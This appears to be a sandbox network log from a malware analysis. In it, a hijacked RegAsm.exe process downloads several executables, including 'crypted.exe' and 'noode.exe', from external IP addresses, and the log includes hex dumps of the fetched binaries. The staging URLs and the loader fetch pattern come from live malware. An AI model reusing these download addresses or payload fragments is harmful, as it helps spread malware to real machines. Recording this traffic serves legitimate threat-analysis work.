00 00 00 00 00 00 00 00 a0 29 29 00 4b 00 00 00 00 60 29 00 bc d8 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 30 00 0c 00 00 00 4f 29 29 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL))) @)@ `0@))K`)@0O)) H.text) ) `.sdata@))@.rsrc`))@@.reloc@0/@B
Sep 21, 2024 13:33:47.278187990 CEST	237	OUT	GET /yuop/66eea6336b153_app16540406983468141987.exe#1 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Host: 147.45.44.104 Cache-Control: no-cache
Sep 21, 2024 13:33:47.467607975 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 21 Sep 2024 11:33:47 GMT Content-Type: application/octet-stream Content-Length: 331640 Last-Modified: Sat, 21 Sep 2024 10:55:47 GMT Connection: keep-alive Keep-Alive: timeout=120 ETag: "66eea633-50f78" X-Content-Type-Options: nosniff Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 3d a1 ee 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0b 00 00 dc 04 00 00 08 00 00 00 00 00 00 5e fb 04 00 00 20 00 00 00 00 05 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 40 05 00 00 02 00 00 00 00 00 00 03 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 08 fb 04 00 53 00 00 00 00 00 05 00 e0 05 00 00 00 00 00 00 00 00 00 00 00 e6 04 00 78 29 00 00 00 20 05 00 0c 00 00 00 d0 f9 04 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL=f^ @ @`Sx) H.textd `.rsrc@@.reloc @B@H6Z9)^jPtY#AR\d47Z&ww\|5':T~xT7MwSaQpRtuqzD(&4 :OdV[ clprK]vY\_{'T-favw(Hn]gpj)OKVqQyP!Y;O.0@yt"u7nB=C^=Mi4b~td.#Xa`I\R!'}>}XJ

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.9	49710	103.130.147.211	80	6388	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Sep 21, 2024 13:33:40.185962915 CEST	203	OUT	HEAD /Files/1.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Host: 103.130.147.211 Cache-Control: no-cache
Sep 21, 2024 13:33:40.760092974 CEST	275	IN	HTTP/1.1 200 OK Date: Sat, 21 Sep 2024 11:33:40 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30 Last-Modified: Fri, 20 Sep 2024 19:40:07 GMT ETag: "65ba6e-6229234d7ee13" Accept-Ranges: bytes Content-Length: 6666862 Content-Type: application/x-msdownload
Sep 21, 2024 13:33:40.761262894 CEST	202	OUT	GET /Files/1.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Host: 103.130.147.211 Cache-Control: no-cache
Sep 21, 2024 13:33:41.108352900 CEST	1236	IN	HTTP/1.1 200 OK Date: Sat, 21 Sep 2024 11:33:40 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30 Last-Modified: Fri, 20 Sep 2024 19:40:07 GMT ETag: "65ba6e-6229234d7ee13" Accept-Ranges: bytes Content-Length: 6666862 Content-Type: application/x-msdownload Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 0e 7d ed 66 00 74 5f 00 a6 25 00 00 e0 00 06 01 0b 01 02 23 00 40 48 00 00 c6 5a 00 00 e4 66 00 b0 14 00 00 00 10 00 00 00 50 48 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 f0 c6 00 00 06 00 00 29 87 66 00 02 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 a0 b3 00 42 00 00 00 00 b0 b3 00 e4 09 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 b3 00 68 20 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 14 f9 48 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL}ft_%#@HZfPH@)f Bh H.text>H@H`P`.dataPHFH@`.rdata8pH`H@`@/4IH@0@.bssTfL`.edataBL@0@.idataL@0.CRT4L@0.tlsL@0.reloch "L@0B/14Z@B/29 Z@B/41XLN\|\@B/55B \@B/67T]
Sep 21, 2024 13:33:41.108370066 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 38 30 00 00 00 00 00 61 09 00 00 00 30 c5 00 00 0a 00 00 00 cc 5d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 39 31 00 00 00 00 00 05 8b 01 00 00 40 c5 00 00 8c 01 00 00 d6 5d 00 00 00 00 Data Ascii: @0B/80a0]@B/91@]@B/102b_@B
Sep 21, 2024 13:33:41.108381987 CEST	1236	IN	Data Raw: fa 20 7e e7 89 cb 83 f3 01 80 fa 22 0f 44 cb eb e8 8d b4 26 00 00 00 00 8d 76 00 84 d2 74 14 8d 74 26 00 0f b6 50 01 83 c0 01 84 d2 74 05 80 fa 20 7e f0 a3 04 b0 8c 00 8b 1d 4c 87 f3 00 85 db 74 14 b8 0a 00 00 00 f6 45 d0 01 0f 85 e2 00 00 00 a3 Data Ascii: ~"D&vtt&Pt ~LtEP$44$,H EFEE$,Hp4$],HCOt$L$$7,H9}uEEE UG<D$ D$
Sep 21, 2024 13:33:41.108484030 CEST	1236	IN	Data Raw: 28 89 45 ec 8b 45 78 89 45 e0 8b 45 7c 89 45 e4 8b 85 80 00 00 00 89 45 d8 8b 85 84 00 00 00 89 45 dc 8d 45 44 89 44 24 04 8d 45 f4 89 04 24 e8 6a 6f 3b 00 90 c9 c3 55 89 e5 83 ec 10 c7 45 f4 c8 17 40 00 c7 45 f8 c4 17 40 00 c7 45 fc 00 00 00 00 Data Ascii: (EExEE\|EEEEDD$E$jo;UE@E@EEDEEEDU}u,EEE}tEUPEEE@Hu,EEE}tEUPEEE@
Sep 21, 2024 13:33:41.108504057 CEST	896	IN	Data Raw: ff d0 eb e7 90 c9 c3 55 89 e5 56 53 83 ec 20 8b 45 08 8b 40 10 8b 30 8b 45 08 8b 40 0c 8b 18 8b 45 08 8b 40 08 8b 08 8b 45 08 8b 40 04 8b 10 8b 45 08 8b 00 8b 00 89 74 24 10 89 5c 24 0c 89 4c 24 08 89 54 24 04 89 04 24 e8 bc 02 02 00 8b 45 08 c7 Data Ascii: UVS E@0E@E@E@Et$\$L$T$$E@ [^]UhE@E@EEDELD$DEHD$@EDD$<E@D$8E<D$4E8D$0E4D$,E0D$(E,D$$E(D$ E$D$E D$ED$ED$ED$
Sep 21, 2024 13:33:41.108521938 CEST	1236	IN	Data Raw: 7d f4 00 74 08 83 7d f4 01 75 16 eb 17 8b 45 08 89 04 24 e8 c3 af 43 00 c7 45 f4 01 00 00 00 eb 01 90 eb db c9 c3 55 89 e5 83 ec 28 c7 45 ec 0b 20 40 00 c7 45 f0 07 20 40 00 c7 45 f4 00 00 00 00 8b 45 f4 8b 44 85 ec eb 02 eb 1d ff e0 8b 45 08 89 Data Ascii: }t}uE$CEU(E @E @EEDE$5EEDUE^uEQEEEEEEEEEEEEEE EE$EE(EE,EE0EE4EE8EE<EE@EEDEEHEEL
Sep 21, 2024 13:33:41.108547926 CEST	1236	IN	Data Raw: 55 a0 89 54 24 30 8b 55 9c 89 54 24 2c 8b 55 98 89 54 24 28 8b 55 94 89 54 24 24 8b 55 90 89 54 24 20 8b 55 8c 89 54 24 1c 8b 55 88 89 54 24 18 89 7c 24 14 89 74 24 10 89 5c 24 0c 89 4c 24 08 8b 4d 84 89 4c 24 04 89 04 24 e8 71 7f 34 00 8b 45 08 Data Ascii: UT$0UT$,UT$(UT$$UT$ UT$UT$\|$t$\$L$ML$$q4E@\|[^_]U8EQE^AxEEEEwEDU$UWVSE^%@Ec%@EED4E(E EEME8E0E
Sep 21, 2024 13:33:41.108567953 CEST	1236	IN	Data Raw: b0 8b 45 58 8b 18 89 5d ac 8b 45 08 8b 30 89 75 a8 8b 45 20 dd 00 8b 45 58 8b 38 89 7d a4 8b 45 34 8b 08 89 4d a0 8b 45 48 8b 00 89 45 9c 8b 45 34 8b 18 89 5d 98 8b 45 18 8b 00 8b b0 5c af 01 00 89 75 94 8b 45 54 8b 38 89 7d 90 8b 45 74 8b 38 8b Data Ascii: EX]E0uE EX8}E4MEHEE4]E\uET8}Et8E0ElELE EEEPE<EEpEH$$U$U$U$U$U$U$UT$\|UT$x\$pUT$lU
Sep 21, 2024 13:33:41.108690023 CEST	1236	IN	Data Raw: 71 88 00 c7 45 fc 02 00 00 00 8b 45 fc 8b 44 85 ec eb e4 8b 45 08 c7 40 1c 6c 71 88 00 c7 45 fc 00 00 00 00 8b 45 fc 8b 44 85 ec eb ca 90 c9 c3 55 89 e5 57 56 53 81 ec 6c 01 00 00 c7 45 b4 ae 39 40 00 c7 45 b8 c1 3b 40 00 c7 45 bc a6 3d 40 00 c7 Data Ascii: qEEDE@lqEEDUWVSlE9@E;@E=@E=@E.@E0@Ee5@E.@E;@E7@E2@E9@EEDE4EPEXEE<]0u8}ELMUE]E
Sep 21, 2024 13:33:41.108707905 CEST	896	IN	Data Raw: 8b 85 a0 00 00 00 8b 38 89 7d 98 8b 85 a8 00 00 00 8b 10 89 55 94 8b 85 b4 00 00 00 8b 00 89 45 90 8b 85 a8 00 00 00 8b 30 89 75 88 8b 85 a0 00 00 00 8b 38 89 7d 84 8b 85 9c 00 00 00 8b 10 89 55 80 8b 85 80 00 00 00 8b 00 89 85 7c ff ff ff 8b 85 Data Ascii: 8}UE0u8}U\|0x8thp0dPX\8`TP0L8H
Sep 21, 2024 13:33:41.108727932 CEST	1236	IN	Data Raw: 8b 45 98 89 84 24 90 00 00 00 8b 45 94 89 84 24 8c 00 00 00 dd 9c 24 84 00 00 00 d9 c9 8b 85 a0 00 00 00 89 84 24 80 00 00 00 8b 45 90 89 44 24 7c 8b 45 88 89 44 24 78 dd 5c 24 70 8b 45 84 89 44 24 6c 8b 45 80 89 44 24 68 8b 85 7c ff ff ff 89 44 Data Ascii: E$E$$$ED$\|ED$x\$pED$lED$h\|D$dxD$`tD$\hD$XpD$TdD$PXD$L`D$H\$@TD$<PD$8LD$4HD$0DD$,D$(@D$$D$ <

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.9	49709	147.45.44.104	80	6388	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Sep 21, 2024 13:33:40.186038971 CEST	224	OUT	HEAD /yuop/66edb89bc4073_crypted.exe#xin HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Host: 147.45.44.104 Cache-Control: no-cache
Sep 21, 2024 13:33:40.842557907 CEST	309	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 21 Sep 2024 11:33:40 GMT Content-Type: application/octet-stream Content-Length: 361336 Last-Modified: Fri, 20 Sep 2024 18:02:03 GMT Connection: keep-alive Keep-Alive: timeout=120 ETag: "66edb89b-58378" X-Content-Type-Options: nosniff Accept-Ranges: bytes
Sep 21, 2024 13:33:40.842791080 CEST	228	OUT	HEAD /yuop/66ee79315857f_setup33333.exe#lyla HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Host: 147.45.44.104 Cache-Control: no-cache
Sep 21, 2024 13:33:41.109349966 CEST	309	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 21 Sep 2024 11:33:40 GMT Content-Type: application/octet-stream Content-Length: 418816 Last-Modified: Sat, 21 Sep 2024 07:43:45 GMT Connection: keep-alive Keep-Alive: timeout=120 ETag: "66ee7931-66400" X-Content-Type-Options: nosniff Accept-Ranges: bytes
Sep 21, 2024 13:33:41.110549927 CEST	217	OUT	HEAD /yuop/66ed9885d9aee_Day2.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Host: 147.45.44.104 Cache-Control: no-cache
Sep 21, 2024 13:33:41.296865940 CEST	311	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 21 Sep 2024 11:33:41 GMT Content-Type: application/octet-stream Content-Length: 3141632 Last-Modified: Fri, 20 Sep 2024 15:45:09 GMT Connection: keep-alive Keep-Alive: timeout=120 ETag: "66ed9885-2ff000" X-Content-Type-Options: nosniff Accept-Ranges: bytes
Sep 21, 2024 13:33:41.297193050 CEST	216	OUT	GET /prog/66e705d09b33c_jack.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Host: 147.45.44.104 Cache-Control: no-cache
Sep 21, 2024 13:33:41.490211964 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 21 Sep 2024 11:33:41 GMT Content-Type: application/octet-stream Content-Length: 4249600 Last-Modified: Sun, 15 Sep 2024 16:05:36 GMT Connection: keep-alive Keep-Alive: timeout=120 ETag: "66e705d0-40d800" X-Content-Type-Options: nosniff Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 5f 55 fb d1 00 00 00 00 00 00 00 00 e0 00 0e 01 0b 01 06 00 00 9c 3e 00 00 38 02 00 00 00 00 00 ae ba 3e 00 00 20 00 00 00 c0 3e 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 40 41 00 00 04 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 0f 00 00 00 00 00 00 00 00 00 00 00 60 ba 3e 00 4b 00 00 00 00 e0 3e 00 84 2e 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 41 00 0c 00 00 00 10 ba 3e 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL_U>8> >@ @A@`>K>. A> H.text> > `.sdata>>@.rsrc.>0>@@.reloc A@@B
Sep 21, 2024 13:33:41.490366936 CEST	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: >H0&MPVjO([<([<*****
Sep 21, 2024 13:33:41.490381956 CEST	1236	IN	Data Raw: 00 00 00 12 00 00 17 2a 00 00 00 1a 28 5b 3c 00 06 2a 00 12 00 00 00 2a 00 00 00 12 00 00 00 2a 00 00 00 12 00 00 17 2a 00 00 00 12 00 00 17 2a 00 00 00 1a 28 5b 3c 00 06 2a 00 13 30 03 00 ec 00 00 00 01 00 00 11 28 5b 3c 00 06 28 14 00 00 06 28 Data Ascii: ([<***([<0([<((:& 8Fs 82s :&s8a E+?] (:&(<8w&
Sep 21, 2024 13:33:41.490542889 CEST	1236	IN	Data Raw: 01 25 16 07 a2 25 17 72 75 02 00 70 28 3e 00 00 0a 72 7d 02 00 70 72 f7 02 00 70 7e 41 00 00 0a 28 3d 00 00 0a 28 42 00 00 0a a2 25 18 17 8c 53 00 00 01 a2 25 19 17 8d 1e 00 00 01 25 16 72 05 03 00 70 a2 a2 14 0d 12 03 28 52 00 00 06 28 31 00 00 Data Ascii: %%rup(>r}prp~A(=(B%S%%rp(R(1 8EO($r)prgp(=rkp(>(B%%ruprprp(=r=prpo=rprpo=%S%%(R& 8
Sep 21, 2024 13:33:41.490559101 CEST	1236	IN	Data Raw: 00 00 00 12 00 00 00 2a 00 00 00 12 00 00 00 2a 00 00 00 12 00 00 00 2a 00 00 00 12 00 00 00 2a 00 00 00 12 00 00 00 2a 00 00 00 12 00 00 00 2a 00 00 00 12 00 00 00 2a 00 00 00 12 00 00 00 2a 00 00 00 12 00 00 00 2a 00 00 00 12 00 00 00 2a 00 00 Data Ascii: ******************************
Sep 21, 2024 13:33:41.490575075 CEST	1236	IN	Data Raw: 00 00 00 1a 28 5b 3c 00 06 2a 00 13 30 03 00 04 00 00 00 00 00 00 00 00 00 14 2a 12 00 00 00 2a 00 00 00 12 00 00 17 2a 00 00 00 12 00 00 17 2a 00 00 00 1a 28 5b 3c 00 06 2a 00 1a 28 5b 3c 00 06 2a 00 12 00 00 00 2a 00 00 00 12 00 00 00 2a 00 00 Data Ascii: ([<0**([<([<***([<**([<V([<(I(JK0000*0
Sep 21, 2024 13:33:41.490591049 CEST	1236	IN	Data Raw: 10 00 00 02 00 8b 00 1a a5 00 0d 00 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 13 30 04 Data Ascii: *******00*0/00****0
Sep 21, 2024 13:33:41.491255045 CEST	552	IN	Data Raw: 28 5b 3c 00 06 2a 00 13 30 05 00 04 00 00 00 00 00 00 00 00 00 00 2a 13 30 07 00 04 00 00 00 00 00 00 00 00 00 14 2a 12 00 00 17 2a 00 00 00 12 00 00 00 2a 00 00 00 12 00 00 17 2a 00 00 00 12 00 00 17 2a 00 00 00 1a 28 5b 3c 00 06 2a 00 12 00 00 Data Ascii: ([<00***([<0*([<**([<***
Sep 21, 2024 13:33:41.491323948 CEST	1236	IN	Data Raw: 14 a5 8b 00 00 02 2a 12 00 00 00 2a 00 00 00 13 30 03 00 08 00 00 00 00 00 00 00 00 14 a5 8f 00 00 02 2a 12 00 00 00 2a 00 00 00 12 00 00 00 2a 00 00 00 13 30 03 00 04 00 00 00 00 00 00 00 00 00 00 2a 12 00 00 00 2a 00 00 00 12 00 00 17 2a 00 00 Data Ascii: 00***([<000*0}+0*([<(<%(
Sep 21, 2024 13:33:41.491342068 CEST	1236	IN	Data Raw: 00 00 00 00 00 14 2a 12 00 00 14 2a 00 00 00 12 00 00 00 2a 00 00 00 22 00 14 a5 2c 00 00 02 2a 00 00 00 13 30 03 00 04 00 00 00 00 00 00 00 00 00 00 2a 13 30 05 00 04 00 00 00 00 00 00 00 00 00 00 2a 13 30 05 00 08 00 00 00 00 00 00 00 00 14 a5 Data Ascii: **",000+"+0&0000000
Sep 21, 2024 13:33:41.491359949 CEST	1236	IN	Data Raw: 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 17 2a 00 00 00 12 00 00 16 2a 00 00 00 12 00 00 16 2a 00 00 00 1a 28 5b 3c 00 06 2a 00 13 30 04 00 04 00 00 00 00 00 00 00 00 00 00 2a 13 30 04 00 04 00 00 00 00 00 00 Data Ascii: *****([<00*******"0"0"0*"
Sep 21, 2024 13:33:44.857687950 CEST	219	OUT	GET /lopsa/66ea645129e6a_jacobs.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Host: 147.45.44.104 Cache-Control: no-cache
Sep 21, 2024 13:33:45.044715881 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 21 Sep 2024 11:33:44 GMT Content-Type: application/octet-stream Content-Length: 11496960 Last-Modified: Wed, 18 Sep 2024 05:25:37 GMT Connection: keep-alive Keep-Alive: timeout=120 ETag: "66ea6451-af6e00" X-Content-Type-Options: nosniff Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 64 86 0a 00 ad 2b dd 66 00 00 00 00 00 00 00 00 f0 00 23 00 0b 02 0e 00 00 82 00 00 00 06 cd 00 00 00 00 00 5d 70 fd 00 00 10 00 00 00 00 00 40 01 00 00 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 60 a8 01 00 04 00 00 00 00 00 00 02 00 20 81 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 90 d1 fd 00 3c 00 00 00 00 50 a5 01 d8 04 03 00 40 16 a5 01 60 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 46 00 01 28 00 00 00 00 15 [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEd+f#]p@` <P@`*F(8 .text6 `.rdata@@.data@.pdata@@.00cfg@@.tls@.text0p- `.text1X@.text2`b`h.rsrcPh@@

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.9	49711	176.111.174.109	80	6388	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Sep 21, 2024 13:33:40.186645985 CEST	197	OUT	HEAD /kurwa HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Host: 176.111.174.109 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.9	49712	176.113.115.33	80	6388	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Sep 21, 2024 13:33:40.188874006 CEST	207	OUT	HEAD /thebig/noode.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Host: 176.113.115.33 Cache-Control: no-cache
Sep 21, 2024 13:33:41.109224081 CEST	377	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sat, 21 Sep 2024 11:33:40 GMT Content-Type: application/octet-stream Content-Length: 3129722 Connection: keep-alive X-Powered-By: PHP/7.4.33 Content-Description: File Transfer Content-Disposition: attachment; filename=noode.exe Content-Transfer-Encoding: binary Expires: 0 Cache-Control: must-revalidate Pragma: public
Sep 21, 2024 13:33:41.110887051 CEST	206	OUT	GET /thebig/noode.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Host: 176.113.115.33 Cache-Control: no-cache
Sep 21, 2024 13:33:41.479156971 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sat, 21 Sep 2024 11:33:41 GMT Content-Type: application/octet-stream Content-Length: 3129722 Connection: keep-alive X-Powered-By: PHP/7.4.33 Content-Description: File Transfer Content-Disposition: attachment; filename=noode.exe Content-Transfer-Encoding: binary Expires: 0 Cache-Control: must-revalidate Pragma: public Data Raw: 4d 5a 50 00 02 00 00 00 04 00 0f 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 ba 10 00 0e 1f b4 09 cd 21 b8 01 4c cd 21 90 90 54 68 69 73 20 70 72 6f 67 72 61 6d 20 6d 75 73 74 20 62 65 20 72 75 6e 20 75 6e 64 65 72 20 57 69 6e 33 32 0d 0a 24 37 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 08 00 19 5e 42 2a 00 00 00 00 00 00 00 00 e0 00 8f 81 0b 01 02 19 00 9e 00 00 00 46 00 00 00 00 00 00 f8 a5 00 00 00 10 00 00 00 b0 00 00 00 00 40 00 00 10 00 00 00 02 00 00 01 00 00 00 06 00 00 00 04 00 00 00 00 00 00 00 00 40 [TRUNCATED] Data Ascii: MZP@!L!This program must be run under Win32$7PEL^B*F@@@P,CODE0 `DATAP@BSS.idataP@.tls.rdata@P.reloc@P.rsrc,,@P@
Sep 21, 2024 13:33:41.479193926 CEST	1236	IN	Data Raw: 00 40 00 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: @Pstring<@m@)@(@(@)@$)@Free0)@
Sep 21, 2024 13:33:41.479211092 CEST	1236	IN	Data Raw: 90 53 56 57 8b da 8b f0 81 fe 00 00 10 00 7d 07 be 00 00 10 00 eb 0c 81 c6 ff ff 00 00 81 e6 00 00 ff ff 89 73 04 6a 01 68 00 20 00 00 56 6a 00 e8 f8 fd ff ff 8b f8 89 3b 85 ff 74 23 8b d3 b8 3c c4 40 00 e8 6c fe ff ff 84 c0 75 13 68 00 80 00 00 Data Ascii: SVW}sjh Vj;t#<@luhjP3_^[SVWUCjh hU;usjh VU;t#<@uhjPb3]_^[SVWUL$$D$
